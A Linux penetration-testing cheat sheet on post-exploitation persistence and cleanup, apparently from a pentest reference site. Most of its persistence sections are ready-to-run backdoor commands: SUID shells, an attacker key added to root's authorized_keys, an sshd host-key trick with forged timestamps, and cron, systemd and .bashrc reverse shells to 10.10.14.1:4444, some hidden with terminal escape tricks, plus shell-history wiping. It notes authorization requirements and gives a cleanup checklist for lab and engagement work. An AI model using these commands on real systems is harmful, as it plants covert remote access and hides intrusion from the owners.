Persistence & Cleanup
Sections Persistence & Cleanup
Two opposite goals. Persistence: stay in across reboots and re-checks. Cleanup: leave nothing behind on the way out. Always know which one you are doing.
Persistence and backdoors require explicit written authorization on real engagements. On HTB/labs, anything goes. On client work, ask before dropping anything that survives a reboot.
i. Quick re-entry, not real persistence
You just need to re-enter this session without redoing the foothold. Cheapest options:
SUID bash (clumsy but trivial):
cp /bin/bash /var/tmp/.x
chmod +s /var/tmp/.x
## Any user can now: /var/tmp/.x -p
Capability-based re-entry, less visible than SUID:
setcap cap_setuid+ep /var/tmp/.py
## Any user can now run python with setuid powers (see [08 PrivEsc - Capabilities](https://jinpwn.dev/cheatsheets/linux-pentesting/08-privesc---capabilities/))
/tmp is cleared on reboot on most distros. /var/tmp survives reboot and is less audited.
ii. SSH-based persistence
The cleanest mechanism, blends into legitimate admin behavior.
Drop your public key into root’s authorized_keys:
mkdir -p /root/.ssh
echo 'ssh-ed25519 AAAA... attacker' >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
THC SSHD host-key trick, survives apt update, creates no new files:
## On the box (as root):
B=/etc/ssh
D=$B/sshd_config.d
## Add the line that tells SSHD to also accept the host's own key as a login key:
echo "AuthorizedKeysFile .ssh/authorized_keys $B/ssh_host_ed25519_key.pub" >> "$D/50-cloud-init.conf"
## Match timestamp so it doesn't look new:
touch -r /etc/passwd "$D/50-cloud-init.conf"
systemctl restart ssh
## On attacker, grab the host's private key (it's now a login key for ANY user on this box):
scp root@target:/etc/ssh/ssh_host_ed25519_key .
chmod 600 ssh_host_ed25519_key
ssh -i ssh_host_ed25519_key root@target
See the original THC writeup for the full bash function.
iii. Cron persistence
Periodic callback that respawns the shell:
(crontab -l 2>/dev/null; echo '*/5 * * * * /bin/bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"') | crontab -
System crontab, less user-suspicious:
echo '*/5 * * * * root /bin/bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"' >> /etc/cron.d/sysupdate
chmod 644 /etc/cron.d/sysupdate
touch -r /etc/cron.d/anacron /etc/cron.d/sysupdate
Hide the cron line from cat with a carriage return trick, see THC sheet:
echo -e '0 2 * * * { id; } #\\033[2K\\033[1A' >> ~/.crontab
iv. systemd service
Survives reboot, runs as root:
cat > /etc/systemd/system/sysmon.service <<EOF
[Unit]
Description=System monitor
After=network.target
[Service]
ExecStart=/bin/bash -c 'while :; do bash -i >& /dev/tcp/10.10.14.1/4444 0>&1; sleep 60; done'
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable --now sysmon.service
touch -r /etc/systemd/system/cron.service /etc/systemd/system/sysmon.service
v. Shell rc files
.bashrc, .profile, /etc/profile.d/*.sh execute on every login:
echo 'fuser /tmp/.l &>/dev/null || (touch /tmp/.l; bash -i >& /dev/tcp/10.10.14.1/4444 0>&1 &)' >> ~/.bashrc
Hide it from casual cat ~/.bashrc (carriage return + erase trick):
echo -e 'bash -c "..." #\\033[2K\\033[1A' >> ~/.bashrc
vi. Kernel module (advanced)
Persistent rootkit territory. Most engagements never need this. Stay aware:
- LKM rootkits hide processes, files, network connections at kernel level
- Out of scope for almost all pentest engagements
- If you need this, you should already know what you’re doing
Examples in the wild: Diamorphine, Reptile, Sutekh. Read, don’t deploy on client networks.
vii. PAM module persistence
PAM modules can be hijacked to log all passwords or accept a magic password:
## Backup
cp /lib/x86_64-linux-gnu/security/pam_unix.so /tmp/pam_unix.so.bak
## Drop a backdoored pam_unix.so (requires building it against the target's PAM headers)
This is loud and breaks easily on apt update. Avoid unless the engagement specifically calls for it.
viii. The cleanup checklist
End of engagement (or before report writing), reverse every change:
Files dropped:
## Remove your tooling
rm -f /tmp/linpeas.sh /tmp/pspy* /tmp/chisel /tmp/.x /dev/shm/.*
rm -f /var/tmp/.x /var/tmp/.tool
## Remove webshells
rm -f /var/www/*/sh.php /var/www/*/cmd.jsp
SUID bits added:
## List anything you set SUID on, undo
chmod -s /var/tmp/.x
chmod -s /usr/bin/python3 ## if you set it
## Restore originals you replaced
mv /tmp/orig.bin /usr/local/bin/svc 2>/dev/null
Capabilities added:
setcap -r /usr/bin/python3 2>/dev/null
setcap -r /var/tmp/.py 2>/dev/null
getcap -r / 2>/dev/null ## verify nothing left from you
Users / passwords:
## Remove any account you added
userdel -r pwn 2>/dev/null
## Restore /etc/passwd and /etc/shadow if modified
cp /etc/passwd.bak /etc/passwd
cp /etc/shadow.bak /etc/shadow
Persistence mechanisms:
crontab -l | grep -v 'your-payload' | crontab -
rm -f /etc/cron.d/sysupdate
systemctl disable --now sysmon.service
rm -f /etc/systemd/system/sysmon.service
systemctl daemon-reload
## Remove keys you added
sed -i '/attacker/d' /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys
## Remove sshd_config.d backdoor line
sed -i '/ssh_host_ed25519_key.pub/d' /etc/ssh/sshd_config.d/*.conf
systemctl restart ssh
Network changes:
iptables -t nat -F
iptables -F
echo 0 > /proc/sys/net/ipv4/ip_forward
pkill chisel ligolo socat 2>/dev/null
Containers:
docker ps -a ## containers you spawned during privesc
docker rm -f <id>
lxc list && lxc delete pwn --force 2>/dev/null
History:
unset HISTFILE
cat /dev/null > ~/.bash_history
history -c
## Other shells
cat /dev/null > ~/.zsh_history 2>/dev/null
## Service histories
cat /dev/null > ~/.mysql_history
cat /dev/null > ~/.psql_history
cat /dev/null > ~/.rediscli_history
cat /dev/null > ~/.lesshst
cat /dev/null > ~/.viminfo
Logs (only if explicitly authorized, otherwise leave them for the blue team):
## DO NOT do this without written authorization
## > /var/log/auth.log
## > /var/log/syslog
## > /var/log/wtmp
On most engagements, do not wipe logs. The client wants to see if their detection caught you. Wiping logs is real-world-adversary behavior, not pentester behavior. Document what you did, leave the logs alone unless red-team scoped to test log integrity.
ix. Cleanup verification
Walk the checklist one more time:
find / -newer /tmp/.start_time 2>/dev/null | grep -v "/proc\|/sys\|/run\|/var/log"
## /tmp/.start_time set at engagement start, anything newer is suspect
Audit final state:
getcap -r / 2>/dev/null
find / -perm -4000 -type f 2>/dev/null | diff - suid-before.txt
crontab -l
ls -la /etc/cron.d
systemctl list-unit-files --state=enabled | grep -v '@'
x. Document what you did
Before disconnecting, write down every change you made, even if you cleaned it up. The report needs it, and a missed cleanup item shows up faster if you have a list to compare against.